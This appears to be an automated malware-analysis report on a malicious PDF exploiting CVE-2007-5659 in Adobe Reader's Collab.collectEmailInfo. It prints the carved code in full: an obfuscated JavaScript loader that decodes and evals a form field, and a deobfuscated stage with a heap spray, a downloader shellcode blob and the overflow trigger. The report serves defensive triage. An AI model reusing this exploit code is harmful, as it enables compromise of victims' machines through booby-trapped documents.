MALICIOUS
110
Risk Score
Malware Insights
MITRE ATT&CK
T1203 Exploitation for Client Execution
T1059.007 JavaScript
This PDF document exploits the CVE-2007-5659 vulnerability, which is triggered by the `Collab.collectEmailInfo` JavaScript function. The embedded JavaScript performs a heap spray, indicating an attempt to execute further malicious code. The specific exploit stage is detailed in the deobfuscated JavaScript, which includes shellcode, suggesting a downloader or exploit execution.
Machine Learning
- Nyx PDF Classifier malicious score 0.9971
Heuristics 5
-
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
-
JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
- http://ns.adobe.com/xap/1.0/In PDF document text
- http://purl.org/dc/elements/1.1/In PDF document text
- http://ns.adobe.com/xap/1.0/mm/In PDF document text
- http://ns.adobe.com/pdf/1.3/In PDF document text
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0106_000.js |
pdf-javascript-stream | PDF /JS object 106 at offset 0x7F23 | 3219 bytes |
SHA-256: dd02245bc1824e1d0e84a8350c85b274981555683706a463a6fe9b9169790162 |
|||
Preview scriptFirst 1,000 lines of the extracted script
var nnnnnnnnnnnnnnnnnnnnn="G198G147G198"+"G147G198G162G165G"+"150G153G207G144"+"G204G159G150G204G16"+"2G204G144G147G198"+"G147G198G159G198"+"G159G168G207G2"+"01G201G198G15"+"9G147G198G198G153"+"G147G156G195G14"+"7G207G198G159G195"+"G198G147G207G156"+"G204G201G147G162"+"G171G147G147G"+"153G150G153"+"G195G147G207G1"+"56G198G168G168G1"+"71G171G165G201G195G150"+"G153G195G147G207G"+"144G168G147G171G"+"201G168G147G207G156G1"+"62G204G144G14"+"7G168G150G159"+"G210G207G144G207"+"G156G168G150G195G2"+"10G168G150G162G165"+"G147G210G207G15"+"6G207G198G162G1"+"44G150G207G207G156"+"G207G156G2"+"07G156G204G159G150"+"G204G198G159G19"+"8G159G198G147G19"+"8G153G198G159G147G1"+"98G198G153G147G201"+"G162G165G147G201"+"G207G156G171G"+"147G144G147G16"+"8G207G207G144G168G2"+"01G207G156G210G156G20"+"7G156G207G156G168"+"G201G207G156G201G156G195"+"G195G207G156G168G"+"207G207G156"+"G147G198G198G153G153G"+"144G162G204G150G"+"150G204G159G150G204G"+"198G159G168G207G198G"+"156G168G207G207G"+"165G198G159G198G"+"159G168G201G207G"+"156G207G156G207G15"+"6G150G156G198G147G147G198"+"G198G153G153G201G"+"162G204G195G153G144G168G1"+"98G147G162G204G147G147G204G15"+"9G150G204G16"+"2G204G147G2"+"01G162G165G144G"+"201G207G144G198G159G198G"+"156G168G201G201"+"G144G210G156G207G156G"+"207G156G198G147G147"+"G198G171G153G144G"+"168G147G198G198G"+"153G153G168G207G165"+"G168G198G147G168G162"+"G165G171G198G147G168G207G"+"156G171G147G144G162"+"G162G204G147G"+"159G195G204G195G159"+"G204G204G144G2"+"04G171G144G207G201G195G159G"+"162G156G204G159G204G165"+"G204G204G144G204"+"G171G147G147G165G204"+"G159G150G204G198"+"G159G198G159G198G159"+"G147G198G171G153G144G168G147"+"G198G198G153G144G156G20"+"4G159G150G204G162G204G"+"147G201G162G165G14"+"4G201G207G144G201"+"G204G147G147G198G1"+"59G198G156G198G14"+"7G198G150G147G198"+"G171G153G144G168G"+"147G198G198G153G144"+"G144G147G198"+"G171G153G144G168G"+"147G198G198G153G1"+"44G201G168G150G159G210G"+"207G150G207G156G168"+"G150G195G210G168"+"G150G162G165G147G210G"+"207G156G171G144G2"+"04G162G204G15"+"9G150G204G198G1"+"71G168G207G207G1"+"47G198G159G198G15"+"9G198G147G198G159G"+"198G159G147G198G198"+"G153G147G144G"+"162G165G147G201G201"+"G156G171G195G144"+"G150G204G159G150G156G204"+"G159G150G204G195G156G207"+"G198G159G195G210G144"+"G207G153G2"+"04G201"+"G147G162G171"+"G147G147G153G150"+"G153G207G14"+"4G207G153G2"+"01G150G168G150"+"G204G171G";
var cxvbeagasdfadsf = ':'+'ABCDEFGHIJKLMNOPQRSTUVWXYZ{} ()[]^abcdefghijklmnopqrstuvwxyz_0123456789/!%+-*.,;"=<>&'+'\\';
function cbrwnwsfdgasdf(text){
var decryptedText="";
var ln = text.length;
for (var i = 0;i<ln-1;i++)
{
decryptedText += ytrhsdgfesrgsdfgew(text[i]);
}
return decryptedText;}
function ytrhsdgfesrgsdfgew(cryptSymbol){
var symbol="";
var posSymbol=cxvbeagasdfadsf.indexOf(cryptSymbol)-2;
if (posSymbol<0)
{posSymbol=posSymbol+cxvbeagasdfadsf.length;}
symbol=cxvbeagasdfadsf.charAt(posSymbol);
return symbol;}
var b2=getField("Text1");
var fgbfdg43wgwefewf=b2.value;
function gasdasd(sads){
var ghjashdkfls = "fklsadnkljasjklkjasrevkjadslkfjal;skdjfasd" + "gakslnkladsn;klasj;fkljasal".substring();
app[cxvbeagasdfadsf[39]+cxvbeagasdfadsf[56]+cxvbeagasdfadsf[35]+cxvbeagasdfadsf[46]](sads);
}
gasdasd(cbrwnwsfdgasdf(fgbfdg43wgwefewf));
|
|||
acroform_shifted_field_stage_000.js |
deobfuscated-js | AcroForm field shifted-alphabet decoded (shift 2) at offset 0x4E4 | 2058 bytes |
SHA-256: a69b23141bc7abc783a02a2436a044dedf39a62f4fbe48daec43fa4a3bd53c2d |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
function hex2bin(res) {var i;var g = Math.round(res.length/4);if (g != (res.length/4)) res = res + "00";var out = "";for (i=0; i<res.length; i+=4) {out = out + "%u" + res.substr(i+2,2) + res.substr(i,2);}return unescape(out);}function fix_it(yarsp, len){while(yarsp.length * 2 < len){yarsp += yarsp;}return yarsp.substring(0, len / 2);}function heapSpray(str){roteDak = str.length * 2;dakRote= "\u9090";spray = fix_it(dakRote, 0x2000 - roteDak);loxWhee = str + spray;loxWhee = fix_it(loxWhee, 524098);memory = new Array();for(i=0; i < 300; i++){memory[i] = loxWhee.substr(0,loxWhee.length - 1 ) + dakRote;}}function str_repeat ( input, cnt ) {var buf = "";for (i=0; i < cnt; i++){buf += input;}return buf;}function shellcode(loadUrl){var scode = "EB115B4B33C96681C9000480340BE4E2FAEB05E8EAFFFFFF0D5AE5E4E4D52D806F95D46F92E86F92F86F8AEC6FA2C46FD282DDACFC91166FA1D86FB0E19CE50E6F96C4E50AB6D52DADA549E50CD53FEB5AF4DC1690EC252FEAE537A40F15DFFB9103BE6F96C0E50A826FE8AA6F96F8E50A6FE06AE50C4FBFB727BB0C791B1B1B0C561B1B1B0C491B1B1B0C4C1B1B1B0C471B1B1B0C7A1B1B1B0C7D1B1B1B0C701B1B1B8C88D7D6E48C978C8188B01BB3186D210C9B1B1B1B0C9E1B1B1B8C8B8AE4E48C91968889B01BB3106D210C811B1B1B6723E0D52D6D01B1B5B58ECCB51BB314A1EB5AB1E4DC16911323A1E4B88997CA23A1E0819C81E46D01825FE0E482AF82671FE4EB602EE4E4E4D52DB5B5B1B3B51BB31C671CE491018EE08CE4F4E4E48CE4C4AAE48EE41BB3306D22D52DB58EB48EE7B5B58CE4E4E424B11BB33C6DA308B16D11D52D6D1C670CE0B5B48CC0F4E4E4B11B93081BB338E78B18679B18E491066D15ADA5DD0D90ECA564D5D7DD0D9117D52DB5B5B51B93081BB304D52D6D1C670CE0CD11B5B4B1B21B93081BB3001B93081BB30C825FE2E482AF82671FE490D6D52DB98EE1B5B5B1B5B51BB310671CC49A02D524D52DA4EB5AF0E3DC16911323E0E3C282D9D56DA8E3E0B5B5B5B3B51BB31CD52DB51BB3340C7E1A1B1B2593AE036E8B22F7066A9410EF5FD2F3953F0266F7186987975D31E51DF99B4DB8462C2FA0E27CA84A8287731B1B1B1B" +loadUrl + "E4";return scode;}var loadUrlAlsoXored = this.info.Title;var scode = shellcode(loadUrlAlsoXored);heapSpray(hex2bin(scode));var msg_bof = str_repeat( "\u0c0c\u0c0c" , 4096 );this.collabStore = Collab.collectEmailInfo({subj:"",msg:msg_bof}); \
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.